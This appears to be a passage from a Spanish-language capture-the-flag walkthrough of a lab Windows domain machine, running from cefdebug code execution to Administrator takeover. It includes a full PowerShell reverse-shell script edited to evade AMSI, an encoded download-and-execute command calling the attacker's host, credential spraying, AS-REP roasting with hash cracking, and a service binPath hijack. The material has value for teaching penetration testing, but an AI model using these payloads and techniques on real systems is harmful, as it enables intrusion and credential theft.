*Evil-WinRM* PS C:\WIndows\Temp\Priv> copy \\10.10.16.6\smbFolder\ceffdebug.exe ceffdebug.exe
Para ejecutarlo solo debemos seguir los pasos tal cual el repositorio.
*Evil-WinRM* PS C:\WIndows\Temp\Priv> .\ceffdebug.exe
ceffdebug.exe : [2023/04/02 09:05:12:5013] U: There are 6 tcp sockets in state listen.
+ CategoryInfo : NotSpecified: ([2023/04/02 09:...n state listen.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2023/04/02 09:05:32:5800] U: There were 4 servers that appear to be CEF debuggers.
[2023/04/02 09:05:32:5800] U: ws://127.0.0.1:11996/b1874235-1857-4869-9ded-b35ae9c0f43d
[2023/04/02 09:05:32:5800] U: ws://127.0.0.1:52031/ef49c60c-66f9-448b-82a9-b08dc1a07022
[2023/04/02 09:05:32:5800] U: ws://127.0.0.1:24483/2f82f71d-03eb-4e62-ae62-8e8cd1a041c1
[2023/04/02 09:05:32:5800] U: ws://127.0.0.1:43978/c8928169-15af-4124-83a5-42b180e1b697
*Evil-WinRM* PS C:\WIndows\Temp\Priv> .\ceffdebug.exe --url ws://127.0.0.1:24483/2f82f71d-03eb-4e62-ae62-8e8cd1a041c1 --code "process.mainModule.require('child_process').exec('ping 10.10.16.6')"
ceffdebug.exe : [2023/04/02 09:05:58:8202] U: >>> process.mainModule.require('child_process').exec('ping 10.10.16.6')
+ CategoryInfo : NotSpecified: ([2023/04/02 09:...ng 10.10.16.6'):String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2023/04/02 09:05:58:8202] U: <<< ChildProcess
y al ponernos en escucha con tcpdump
recibimos la traza icmp
❯ tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:59:01.108853 IP 10.10.10.179 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 40
15:59:01.108917 IP 10.10.16.6 > 10.10.10.179: ICMP echo reply, id 1, seq 1, length 40
15:59:02.150656 IP 10.10.10.179 > 10.10.16.6: ICMP echo request, id 1, seq 2, length 40
15:59:02.150666 IP 10.10.16.6 > 10.10.10.179: ICMP echo reply, id 1, seq 2, length 40
Lo siguiente sera ganar acceso a traves de una consola interactiva, para ello usaremos el script Invoke-PowerShellTcp.ps1
del repositorio de nishang
Ahora para poder realizar AMSI bypass
, debemos editar el script cambiando el nombre de la funcion y borrando los comentarios para evitar problemas en la ejecucion.
function dalecontodo
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
dalecontodo -Reverse -IPAddress 10.10.16.3 -Port 443
En la maquina victima ejecutaremos una peticion al script con Iex
para que nos lo interprete, pero antes debemos hacerlo en un formato que windows entienda. Para ello usaremos iconv
y lo transformaremos a base64
de este modo poder ejecutar la peticion con powershell
❯ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3/PS.ps1')" | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADMALwBQAFMALgBwAHMAMQAnACkA
Teniendo el formato adecuando podemos pasar a ejecutar el cefdebug
.
Compartimos el PS.ps1
y seguidamente con rlwrap
y ntcat
ponernos en escucha.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.179 - - [02/Apr/2023 16:23:11] "GET /PS.ps1 HTTP/1.1" 200 -
*Evil-WinRM* PS C:\WIndows\Temp\Priv> .\ceffdebug.exe
ceffdebug.exe : [2023/04/02 09:28:38:6062] U: There are 3 tcp sockets in state listen.
+ CategoryInfo : NotSpecified: ([2023/04/02 09:...n state listen.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2023/04/02 09:28:58:6598] U: There were 1 servers that appear to be CEF debuggers.
[2023/04/02 09:28:58:6618] U: ws://127.0.0.1:16034/d18406c9-66d7-41ff-946f-3f2a9b0eabfe
*Evil-WinRM* PS C:\WIndows\Temp\Priv> .\ceffdebug.exe --url ws://127.0.0.1:16034/d18406c9-66d7-41ff-946f-3f2a9b0eabfe --code "process.mainModule.require('child_process').exec('powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADYALwBQAFMALgBwAHMAMQAnACkA')"
ceffdebug.exe : [2023/04/02 09:30:09:1259] U: >>> process.mainModule.require('child_process').exec('powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADYALwBQAFMALgBwA...
+ CategoryInfo : NotSpecified: ([2023/04/02 09:...wBQAFMALgBwA...:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2023/04/02 09:30:09:1269] U: <<< ChildProcess
y recimos una consola como el usuario cyork
❯ rlwrap ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.179.
Ncat: Connection from 10.10.10.179:50183.
Windows PowerShell running as user cyork on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
megacorp\cyork
Listando los grupos del usuario, vemos que pertenece al grupo Developers
; este grupo tiene acceso al directorio inetpub\wwwroot
Dentro encontramos archivos dll
, concretamente un archivo de nombre MultimasterAPI.dll
que procederemos a traernos a nuestra maquina.
dir
Directory: C:\inetpub\wwwroot\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/7/2020 9:28 PM roslyn
-a---- 2/21/2013 7:13 PM 102912 Antlr3.Runtime.dll
-a---- 2/21/2013 7:13 PM 431616 Antlr3.Runtime.pdb
-a---- 5/24/2018 1:08 AM 40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
-a---- 7/24/2012 11:18 PM 45416 Microsoft.Web.Infrastructure.dll
-a---- 1/9/2020 4:13 AM 13824 MultimasterAPI.dll
-a---- 1/9/2020 4:13 AM 28160 MultimasterAPI.pdb
-a---- 2/17/2018 8:14 PM 664576 Newtonsoft.Json.dll
-a---- 11/27/2018 11:30 PM 178808 System.Net.Http.Formatting.dll
-a---- 11/27/2018 11:28 PM 27768 System.Web.Cors.dll
-a---- 1/27/2015 2:34 PM 139976 System.Web.Helpers.dll
-a---- 11/27/2018 11:31 PM 39352 System.Web.Http.Cors.dll
-a---- 11/27/2018 11:31 PM 455096 System.Web.Http.dll
-a---- 1/31/2018 10:49 PM 77520 System.Web.Http.WebHost.dll
-a---- 1/27/2015 2:32 PM 566472 System.Web.Mvc.dll
-a---- 2/11/2014 1:56 AM 70864 System.Web.Optimization.dll
-a---- 1/27/2015 2:32 PM 272072 System.Web.Razor.dll
-a---- 1/27/2015 2:34 PM 41672 System.Web.WebPages.Deployment.dll
-a---- 1/27/2015 2:34 PM 211656 System.Web.WebPages.dll
-a---- 1/27/2015 2:34 PM 39624 System.Web.WebPages.Razor.dll
-a---- 7/17/2013 4:33 AM 1276568 WebGrease.dll
PS C:\inetpub\wwwroot\bin>
Vemos la lista de caracteres imprimibles con strings
, pero al ser un ejecutable de windows usaremos el parametro -e l
para que nos liste mayor informacion.
❯ strings -e l MultimasterAPI.dll
FROM
WHERE
LIKE
INFORMATION_SCHEMA
MASTER
{ "info" : "MegaCorp API" }
application/json
server=localhost;database=Hub_DB;uid=finder;password=D3veL0pM3nT!;
Obtenemos una nueva contraseña y volveremos a validarla con crackmapexec
si corrsponde a otro usuario.
❯ crackmapexec smb 10.10.10.179 -u users.txt -p 'D3veL0pM3nT!' --continue-on-success
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\lana:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\andrew:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT!
Con estas nuevas credenciales nos volvemos a conectar con evil-winrm
y tendriamos acceso esta vez como sbauer
❯ evil-winrm -i 10.10.10.179 -u 'sbauer' -p 'D3veL0pM3nT!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sbauer\Documents> whoami
megacorp\sbauer
Seguidamente subiremos el ejecutable sharphound.exe
para recopilar datos de DC
que posteriormente con bloodhound
interpretaremos.
Una vez tengamos el archivo en la maquina victima lo ejecutamos y este nos generara un archivo .zip
que abriremos en bloodhound
*Evil-WinRM* PS C:\WIndows\Temp\Privesc> .\SharpHound.exe -c All
2023-04-02T09:45:51.8354209-07:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2023-04-02T09:45:51.9916814-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
*Evil-WinRM* PS C:\WIndows\Temp\Privesc> dir
Directory: C:\WIndows\Temp\Privesc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/2/2023 9:47 AM 14062 20230402094551_BloodHound.zip
-a---- 8/3/2022 9:21 AM 1060864 SharpHound.exe
-a---- 4/2/2023 9:47 AM 13225 YThiODEyNWUtMTcwMC00YWY2LTgwZmYtNmIxMWU0MTM4ZDg5.bin
Subimos el .zip
a bloodhound
marcamos al usuario sbauer
como User as owned
y en analisys pinchamos en la opcion Shortest Paths form Owned Principals
Observamos que el usuario sbauer
tiene el privilegio Generic Write
sobre el usuario Jorden
quien a su vez forma parte del grupo Server Operators
GenericWrite - actualizar los atributos del objeto (por ejemplo, script de inicio de sesión)
Aprovecharemos el Generic Write
para setear la propiedad dont require Kerberos preauthentication
y con esto hacer al usuario ASREPRoasteable
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Get-Aduser jorden | Set-ADAccountControl -doesnotrequirepreauth $true
ConGetNPUsers.py
esta vez si podamos obtener el hash
❯ GetNPUsers.py MEGACORP.LOCAL/ -no-pass -usersfile users.txt
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] User tushikikatomo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lana doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andrew doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jorden@MEGACORP.LOCAL:8e7ea2a50a1602c925cf681fca176a58$a2a1627ed23fe85bdadc88c1a0b551f0ee10dfe43f7677fc6f1204e36d5e849c95932313e7fae6b9829be5d69f243279f32098db2118abef962bb1b7fa2caafe91ca22d2747690dea014ecc6e9f95e2dffdd8acac823f47c7e29a834cf910daa4cbdc19187bbf95d436e083a050e274fd15905b15f58c2e9cc23932efcac112a2adf3a59fd3de0342d4d35e33f7da5aeb2be18db5aa625a95adbde5c075843711be01945177e8fd7935c8edc5355ee98fce7b9d4becbc72e14606e5c4df3b1577f19b621457089150499cf8a79616110fe973d7e63bbde78641380be90733b621190a13c13968c6ed3d2d9ea85bf9603
[-] User sbauer doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User okent doesn't have UF_DONT_REQUIRE_PREAUTH set
Procedamos a crackearlo con john
y nos devuelve la contraseña en texto claro.
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rainforest786 ($krb5asrep$23$jorden@MEGACORP.LOCAL)
1g 0:00:00:06 DONE (2023-04-02 17:01) 0.1550g/s 682666p/s 682666c/s 682666C/s rainian..railezs05
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Nos conectamos nuevamente con evil-winrm
y hubieramos migrado al usuario jorden
❯ evil-winrm -i 10.10.10.179 -u 'jorden' -p 'rainforest786'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jorden\Documents> whoami
megacorp\jorden
Antes vimos que este usuario formaba parte del grupo Server Operators
, aprovecharemos esto para cambiar la propiedad binpath
de un proceso el cual el forzaremos a desactivarse y al iniciarlo nuevamente nos ejecutara la sentencia que hayamos puesto.
Cambiaremos el binPath
del proceso browser
para que al volver a iniciarse nos cambie la contraseña del usuario Administrator
.
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config browser binPath="C:\Windows\System32\cmd.exe /c net user Administrator fmiracle123$!"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop browser
SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0xafc8
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start browser
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Verificamos y efectivamente cambiamos las claves del usuario Administrator
❯ crackmapexec smb 10.10.10.179 -u 'Administrator' -p 'fmiracle123$!'
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\Administrator:fmiracle123$! (Pwn3d!)
Lo siguiente sera conectarnos, ir al directorio personal del usuario y visualizar la segunda flag root.txt
❯ evil-winrm -i 10.10.10.179 -u 'Administrator' -p 'fmiracle123$!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
559ca9f9c145bc76f8504391a74710cc
y listo maquina pwneada!!
Comments